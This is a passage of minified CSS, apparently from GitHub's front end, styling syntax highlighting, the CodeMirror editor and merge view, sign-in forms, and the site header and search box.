.pl-en,.pl-ms{font-weight:bold;color:var(--color-prettylights-syntax-markup-heading)}.pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.pl-mb{font-weight:bold;color:var(--color-prettylights-syntax-markup-bold)}.pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;color:var(--color-prettylights-syntax-meta-diff-range)}.pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.CodeMirror{font-family:monospace;height:300px;color:black;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:black}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0 !important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:blue}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:blue}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255, 150, 0, 0.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:50px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none !important;border:none !important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255, 255, 0, 0.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-merge{position:relative;border:1px solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge .CodeMirror{height:350px}.CodeMirror-merge-2pane .CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane .CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;box-sizing:border-box;overflow:hidden;border-left:1px solid #ddd;border-right:1px solid #ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-scrolllock:after{content:"⇛  ⇚"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"⇛⇚"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{position:absolute;cursor:pointer;color:#44c;z-index:3}.CodeMirror-merge-copy-reverse{position:absolute;cursor:pointer;color:#44c}.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy{right:2px}.CodeMirror-merge-r-inserted,.CodeMirror-merge-l-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid #88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px solid #4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px solid #ddf;font-size:90%;padding:0 3px;border-radius:4px}.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt{display:none}/*! + * GitHub Light v0.4.2 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.cm-s-github-light.CodeMirror{background:var(--color-codemirror-bg);color:var(--color-codemirror-text)}.cm-s-github-light .CodeMirror-gutters{background:var(--color-codemirror-gutters-bg);border-right-width:0}.cm-s-github-light .CodeMirror-guttermarker{color:var(--color-codemirror-guttermarker-text)}.cm-s-github-light .CodeMirror-guttermarker-subtle{color:var(--color-codemirror-guttermarker-subtle-text)}.cm-s-github-light .CodeMirror-linenumber{color:var(--color-codemirror-linenumber-text);padding:0 16px 0 16px}.cm-s-github-light .CodeMirror-cursor{border-left:1px solid var(--color-codemirror-cursor)}.cm-s-github-light.CodeMirror-focused .CodeMirror-selected,.cm-s-github-light .CodeMirror-line::selection,.cm-s-github-light .CodeMirror-line>span::selection,.cm-s-github-light .CodeMirror-line>span>span::selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-line::-moz-selection,.cm-s-github-light .CodeMirror-line>span::-moz-selection,.cm-s-github-light .CodeMirror-line>span>span::-moz-selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-activeline-background{background:var(--color-codemirror-activeline-bg)}.cm-s-github-light .CodeMirror-matchingbracket{text-decoration:underline;color:var(--color-codemirror-matchingbracket-text) !important}.cm-s-github-light .CodeMirror-lines{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px;background:var(--color-codemirror-lines-bg);line-height:1.5}.cm-s-github-light .cm-comment{color:var(--color-codemirror-syntax-comment)}.cm-s-github-light .cm-constant{color:var(--color-codemirror-syntax-constant)}.cm-s-github-light .cm-entity{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-entity)}.cm-s-github-light .cm-keyword{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-keyword)}.cm-s-github-light .cm-storage{color:var(--color-codemirror-syntax-storage)}.cm-s-github-light .cm-string{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-string)}.cm-s-github-light .cm-support{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-support)}.cm-s-github-light .cm-variable{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-variable)}details-dialog{position:fixed;margin:10vh auto;top:0;left:50%;transform:translateX(-50%);z-index:999;max-height:80vh;max-width:90vw;width:448px;overflow:auto}.user-select-contain{-webkit-user-select:contain;user-select:contain}.ajax-pagination-form .ajax-pagination-btn{width:100%;padding:6px;margin-top:20px;font-weight:600;color:var(--color-accent-fg);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.ajax-pagination-form .ajax-pagination-btn:hover,.ajax-pagination-form .ajax-pagination-btn:focus{color:var(--color-accent-fg);background-color:var(--color-canvas-subtle)}.ajax-pagination-form.loading .ajax-pagination-btn{text-indent:-3000px;background-color:var(--color-canvas-subtle);background-image:url("/images/spinners/octocat-spinner-16px-EAF2F5.gif");background-repeat:no-repeat;background-position:center center;border-color:var(--color-border-default)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.ajax-pagination-form.loading .ajax-pagination-btn{background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-size:16px auto}}body.intent-mouse [role=button]:focus,body.intent-mouse [role=tabpanel][tabindex="0"]:focus,body.intent-mouse button:focus,body.intent-mouse summary:focus,body.intent-mouse a:focus{outline:none;box-shadow:none}body.intent-mouse [tabindex="0"]:focus,body.intent-mouse details-dialog:focus{outline:none}.CodeMirror{height:calc(100vh - 1px)}.file-editor-upload{height:100%}.issue-template-editor{height:100%}.file-editor-textarea{width:100%;padding:5px 4px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;resize:vertical;border:0;border-radius:0;outline:none}.container-preview .tabnav-tabs{margin:-5px 0 -5px -9px}.container-preview .tabnav-tabs .tabnav-tab{padding:12px 16px;border-radius:0}.container-preview .tabnav-tabs>.selected:first-child{border-top-left-radius:6px}.container-preview .tabnav-tabs .selected{font-weight:600}.container-preview.template-editor .commit-create,.container-preview.template-editor .file-actions{display:block}.container-preview.template-editor .show-code,.container-preview.template-editor .commit-preview,.container-preview.template-editor .loading-preview-msg,.container-preview.template-editor .no-changes-preview-msg,.container-preview.template-editor .error-preview-msg{display:none !important}.container-preview.render-editor .commit-create,.container-preview.render-editor .file-actions{display:block}.container-preview.render-editor .template-editor,.container-preview.render-editor .show-code,.container-preview.render-editor .commit-preview,.container-preview.render-editor .loading-preview-msg,.container-preview.render-editor .no-changes-preview-msg,.container-preview.render-editor .error-preview-msg{display:none !important}.container-preview.show-code .commit-create,.container-preview.show-code .file-actions{display:block}.container-preview.show-code .template-editor,.container-preview.show-code .render-editor,.container-preview.show-code .commit-preview,.container-preview.show-code .loading-preview-msg,.container-preview.show-code .no-changes-preview-msg,.container-preview.show-code .error-preview-msg{display:none !important}.container-preview:not(.show-code) .commit-create,.container-preview:not(.show-code) .file-actions{display:none !important}.container-preview.loading-preview .loading-preview-msg{display:block}.container-preview.loading-preview .template-editor,.container-preview.loading-preview .render-editor,.container-preview.loading-preview .no-changes-preview-msg,.container-preview.loading-preview .error-preview-msg,.container-preview.loading-preview .commit-preview{display:none !important}.container-preview.show-preview .commit-preview{display:block}.container-preview.show-preview .template-editor,.container-preview.show-preview .render-editor,.container-preview.show-preview .loading-preview-msg,.container-preview.show-preview .no-changes-preview-msg,.container-preview.show-preview .error-preview-msg{display:none !important}.container-preview.no-changes-preview .no-changes-preview-msg{display:block}.container-preview.no-changes-preview .template-editor,.container-preview.no-changes-preview .render-editor,.container-preview.no-changes-preview .loading-preview-msg,.container-preview.no-changes-preview .error-preview-msg,.container-preview.no-changes-preview .commit-preview{display:none !important}.container-preview.error-preview .error-preview-msg{display:block}.container-preview.error-preview .template-editor,.container-preview.error-preview .render-editor,.container-preview.error-preview .loading-preview-msg,.container-preview.error-preview .no-changes-preview-msg,.container-preview.error-preview .commit-preview{display:none !important}.container-preview p.preview-msg{padding:30px;font-size:16px}.CodeMirror-merge-header{height:30px}.CodeMirror-merge-header .CodeMirror-merge-pane{height:30px;line-height:30px}.cm-s-github-light .merge-gutter{width:14px}.conflict-background+.CodeMirror-gutter-wrapper .CodeMirror-linenumber{background-color:var(--color-attention-subtle)}.form-group .edit-action{opacity:.6}.form-group .form-field-hover{background-color:none;border:1px solid var(--color-border-default)}.form-group:hover .edit-action{cursor:pointer;opacity:.7}.form-group:hover .form-field-hover{cursor:pointer;border:1px solid var(--color-border-default)}.placeholder-box{border:1px solid var(--color-border-default)}.template-previews{max-width:768px}.template-previews .Box .expand-group{display:none;height:0}.template-previews .Box .dismiss-preview-button{display:none}.template-previews .Box.expand-preview .expand-group{display:block;height:100%;transition:height 3s}.template-previews .Box.expand-preview .preview-button{display:none}.template-previews .Box.expand-preview .dismiss-preview-button{display:inline}.template-previews .discussion-sidebar-heading{font-size:14px;color:var(--color-neutral-emphasis)}.template-previews .discussion-sidebar-heading:hover{color:var(--color-accent-emphasis)}.edit-labels{display:none}.preview-section{display:block}.edit-section{display:none}.Box .section-focus .preview-section{display:none}.Box .section-focus .edit-section{display:block}.commit-create .CodeMirror{padding-top:8px}auto-complete,details-dialog,details-menu,file-attachment,filter-input,remote-input,tab-container,text-expander,turbo-frame,[data-catalyst]{display:block}[data-catalyst-inline]{display:inline}.Details--on .Details-content--shown{display:none !important}.Details:not(.Details--on) .Details-content--hidden{display:none !important}.Details:not(.Details--on) .Details-content--hidden-not-important{display:none}.Details-element[open]>summary .Details-content--closed{display:none !important}.Details-element:not([open])>summary .Details-content--open{display:none !important}g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal !important;font-weight:400;line-height:1;vertical-align:-0.075em}g-emoji img{width:1em;height:1em}.emoji-icon{display:inline-block;width:20px;height:20px;vertical-align:middle;background-repeat:no-repeat;background-size:20px 20px}.emoji-result{display:inline-block;height:20px;font-size:16px;font-weight:400;vertical-align:middle}.gollum-editor .comment-form-head.tabnav{border:1px solid var(--color-border-muted)}.gollum-editor .gollum-editor-body{height:390px;resize:vertical}.active .gollum-editor-function-buttons{display:block !important}.auth-form{width:340px;margin:0 auto}.auth-form .form-group.warn .warning,.auth-form .form-group.warn .error,.auth-form .form-group.errored .warning,.auth-form .form-group.errored .error{max-width:274px}.auth-form-header{padding:8px 16px;margin:0;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.3);background-color:#829aa8;border:1px solid #768995;border-radius:6px 6px 0 0}.auth-form-header h1{font-size:16px}.auth-form-header h1 a{color:#fff}.auth-form-header .octicon{position:absolute;top:10px;right:20px;color:rgba(0,0,0,.4);text-shadow:0 1px 0 rgba(255,255,255,.1)}.auth-form-message{max-height:140px;padding:16px 16px 8px;overflow-y:scroll;border:1px solid var(--color-border-default);border-radius:6px}.auth-form-message ol,.auth-form-message ul{padding-left:inherit;margin-bottom:inherit}.auth-form-body{padding:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-top:0;border-radius:0 0 6px 6px}.auth-form-body .input-block{margin-top:4px;margin-bottom:16px}.auth-form-body p{margin-bottom:0}.auth-form-body ol,.auth-form-body ul{padding-left:inherit;margin-bottom:inherit}.two-factor-help{position:relative;padding:8px 8px 8px 32px;margin:60px 0 auto auto;border:1px solid var(--color-border-muted);border-radius:6px}.two-factor-help h4{margin-top:0;margin-bottom:4px}.two-factor-help .octicon-device-mobile,.two-factor-help .octicon-key,.two-factor-help .octicon-shield-lock,.two-factor-help .octicon-circle-slash{position:absolute;top:10px;left:10px}.sms-send-code-spinner{position:relative;bottom:2px;display:none;vertical-align:bottom}.loading .sms-send-code-spinner{display:inline}.auth-form-body .webauthn-form-body{padding:0}.webauthn-form-body{padding:32px 32px 16px;text-align:center}.webauthn-form-body button{margin-top:16px}.flash.sms-error,.flash.sms-success{display:none;margin:0 0 8px}.is-sent .sms-success{display:block}.is-sent .sms-error{display:none}.is-not-sent .sms-success{display:none}.is-not-sent .sms-error{display:block}.session-authentication{background-color:var(--color-canvas-default)}.session-authentication .header-logged-out{background-color:transparent;border-bottom:0}.session-authentication .header-logo{color:var(--color-fg-default)}.session-authentication .flash{padding:16px 16px;margin:0 auto;margin-bottom:8px;font-size:14px;border-style:solid;border-width:1px;border-radius:6px}.session-authentication .flash .container{width:auto}.session-authentication .flash .flash-close{height:40px}.session-authentication .flash.flash-banner{width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.session-authentication .auth-form label{display:block;margin-bottom:8px;font-weight:400;text-align:left}.session-authentication .auth-form .btn{margin-top:16px}.session-authentication .auth-form .webauthn-message{margin-bottom:0}.session-authentication .label-link{float:right;font-size:12px}.session-authentication .auth-form-header{margin-bottom:16px;color:var(--color-fg-default);text-align:center;text-shadow:none;background-color:transparent;border:0}.session-authentication .auth-form-header h1{font-size:24px;font-weight:300;letter-spacing:-0.5px}.session-authentication .auth-form-body{border-top:1px solid var(--color-border-muted);border-radius:6px}.session-authentication .auth-form-body.webauthn-form-body{padding:16px}.session-authentication .login-callout{padding:16px 16px;text-align:center;border:1px solid var(--color-border-default);border-radius:6px}.session-authentication .two-factor-help{padding:0 0 0 16px;margin-top:16px;border:0}.session-authentication .two-factor-help .octicon-device-mobile,.session-authentication .two-factor-help .octicon-key,.session-authentication .two-factor-help .octicon-shield-lock,.session-authentication .two-factor-help .octicon-circle-slash{top:4px;left:0}.session-authentication.enterprise .header-logged-out{padding:48px 0 24px;background-color:transparent}.session-authentication.hosted .header-logged-out{padding:40px 0 16px;background-color:transparent}.Header-old{z-index:32;padding-top:12px;padding-bottom:12px;color:#fff;background-color:var(--color-header-bg)}.server-stats+.Header-old{box-shadow:inset 0 1px 0 rgba(255,255,255,.075)}.Header-old .dropdown-menu{width:300px}.Header-old .notification-indicator:hover::after{content:none}@media(min-width: 1012px){.Header-old .notification-indicator:hover::after{content:attr(aria-label)}}.HeaderMenu{display:none;clear:both}@media(min-width: 1012px){.HeaderMenu{display:block;clear:none}}.open .HeaderMenu{display:block}.HeaderMenu-summary::marker,.HeaderMenu-summary::-webkit-details-marker{display:none}@keyframes dropdown-display{0%{opacity:0;transform:scale(0.98) translateY(-0.6em)}100%{opacity:1;transform:scale(1) translateY(0)}}.HeaderMenu--logged-out{z-index:100;width:300px;overflow:auto;background-color:var(--color-canvas-default);box-shadow:0 10px 50px rgba(27,31,35,.15)}@media(min-width: 1012px){.HeaderMenu--logged-out{width:auto;overflow:visible;background-color:transparent;box-shadow:none}}.HeaderMenu--logged-out .jump-to-suggestions{top:100%}.HeaderMenu--logged-out .HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}.HeaderMenu--logged-out .header-search-key-slash{margin-right:8px !important}.HeaderMenu--logged-out .dropdown-menu{position:static;width:auto;border:0 solid transparent;box-shadow:none}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{display:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu{position:absolute;width:300px;border:0;box-shadow:0 3px 12px rgba(27,31,35,.15),0 0 1px rgba(27,31,35,.2)}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{content:""}}.HeaderMenu--logged-out .dropdown-menu-s{transform:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu-s{transform:translateX(50%)}}.HeaderMenu--logged-out .header-search{width:auto;border-top:0}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search{width:240px}}.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-border-muted)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-header-search-border)}}@media(max-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{background-color:var(--color-canvas-default)}}.HeaderMenu--logged-out .header-search-input{padding-top:8px;padding-bottom:8px;font-size:14px;-webkit-appearance:none;color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input{color:inherit}}.HeaderMenu--logged-out .header-search-input::placeholder{color:var(--color-fg-muted) !important}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input::placeholder{color:rgba(255,255,255,.75) !important}}.HeaderMenu-link{color:var(--color-fg-default);white-space:nowrap;background:transparent;transition:opacity .4s}.HeaderMenu-link:hover{color:var(--color-fg-default);opacity:.75}@media(min-width: 1012px){.HeaderMenu-link{color:#fff;transition:opacity .4s}.HeaderMenu-link:hover{color:#fff;opacity:.75}}.HeaderMenu-link .icon-chevon-down-mktg{top:24px;right:0;width:14px;stroke:var(--color-fg-default);transition:stroke .4s}@media(min-width: 1012px){.HeaderMenu-link .icon-chevon-down-mktg{top:-2px;width:12px;stroke:rgba(255,255,255,.5);background:transparent}}.HeaderMenu-details[open]>summary::before{display:none}@media(min-width: 1012px){.HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}}.HeaderMenu-details[open] .HeaderMenu-link{color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .HeaderMenu-link{color:rgba(255,255,255,.75)}}.HeaderMenu-details[open] .dropdown-menu{animation:none}@media(min-width: 1012px){.HeaderMenu-details[open] .dropdown-menu{animation:dropdown-display .4s cubic-bezier(0.73, 0.005, 0.22, 1)}}.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:#fff}}.header-logo-invertocat{margin:-1px 16px -1px -2px;color:#fff;white-space:nowrap}.header-logo-invertocat .octicon-mark-github{float:left}.header-logo-invertocat:hover{color:#fff;text-decoration:none}.notification-indicator .mail-status{position:absolute;top:-6px;left:6px;z-index:2;display:none;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.notification-indicator .mail-status.unread{display:inline-block}.notification-indicator:hover .mail-status{text-decoration:none;background-color:var(--color-accent-emphasis)}.header-nav-current-user{padding-bottom:0;font-size:inherit}.header-nav-current-user .css-truncate-target{max-width:100%}.header-nav-current-user .user-profile-link{color:var(--color-fg-default)}.unread-indicator{position:absolute;top:0;left:13px;z-index:2;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.unread-indicator--small{width:10px;height:10px;border:0}.unread-indicator-container .unread-indicator{top:9px;right:10px;left:inherit;width:10px;height:10px;border:0}.header-search-wrapper{display:table;width:100%;max-width:100%;padding:0;font-size:inherit;font-weight:400;color:var(--color-scale-white);vertical-align:middle;background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.header-search-wrapper.header-search-wrapper-jump-to .header-search-scope{width:-moz-fit-content;width:fit-content}.header-search-wrapper .truncate-repo-scope{max-width:110px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.header-search-wrapper.focus{background-color:rgba(255,255,255,.175);box-shadow:none}.header-search-wrapper.focus .header-search-scope{color:var(--color-scale-white);background-color:rgba(255,255,255,.075);border-right-color:#282e34}.header-search-input{display:table-cell;width:100%;padding-top:0;padding-bottom:0;font-size:inherit;color:inherit;background:none;border:0;box-shadow:none}.header-search-input::placeholder{color:rgba(255,255,255,.75)}.header-search-input:focus{border:0;box-shadow:none}.header-search-input:focus~.header-search-key-slash{display:none !important}.header-search-input::-ms-clear{display:none}.header-search-button{display:table-cell;font-size:inherit;color:inherit;background:none}.header-search-button.input-button:focus{border:0 !important;box-shadow:none}.header-search-button.input-button:focus~.header-search-key-slash{display:none !important}.header-search-button::-ms-clear{display:none}.header-search-button.placeholder{color:rgba(255,255,255,.75)}.header-search-scope{display:none;padding-right:8px;padding-left:8px;font-size:inherit;line-height:28px;color:rgba(255,255,255,.7);white-space:nowrap;vertical-align:middle;border-right:1px solid var(--color-border-muted);border-right-color:#282e34;border-top-left-radius:6px;border-bottom-left-radius:6px}.header-search-scope:empty+.header-search-input{width:100%}.header-search-scope:hover{color:var(--color-scale-white);background-color:rgba(255,255,255,.12)}.scoped-search .header-search-wrapper{display:flex}.jump-to-field-active{color:var(--color-fg-default) !important;background-color:var(--color-canvas-subtle)}.jump-to-field-active::placeholder{color:var(--color-fg-muted) !important}.jump-to-field-active~.header-search-key-slash{display:none}.jump-to-field-active.jump-to-dropdown-visible{border-bottom-right-radius:0;border-bottom-left-radius:0}.jump-to-suggestions{top:100%;left:0;z-index:35;width:100%;border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px;box-shadow:0 4px 10px rgba(0,0,0,.1)}.jump-to-suggestions-path{min-width:0;min-height:44px;color:var(--color-fg-default)}.jump-to-suggestions-path .jump-to-octicon{width:28px;color:var(--color-fg-muted)}.jump-to-suggestions-path .jump-to-suggestion-name{max-width:none}.jump-to-suggestions-path mark{font-weight:600;background-color:transparent}.jump-to-suggestions-results-container .navigation-item{border-bottom:1px solid var(--color-border-default)}.jump-to-suggestions-results-container 